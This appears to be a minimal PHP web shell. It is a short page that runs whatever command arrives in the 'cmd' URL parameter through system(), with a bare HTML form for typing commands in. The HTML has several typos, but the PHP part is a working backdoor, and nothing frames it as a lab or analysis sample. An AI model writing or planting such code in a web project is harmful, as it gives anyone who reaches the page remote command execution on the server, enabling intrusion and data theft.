<?php
$cmd = $_GET['cmd'];
if(isset($cmd)) {
system($cmd);
}
?>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8895-1">
<head>
<p>Hi</p>
<form methot="GET" id="searchform">
<input type="text" name="cmd">
<input type"submit" name="submit" value="submit" >
</form>
</body>
</html>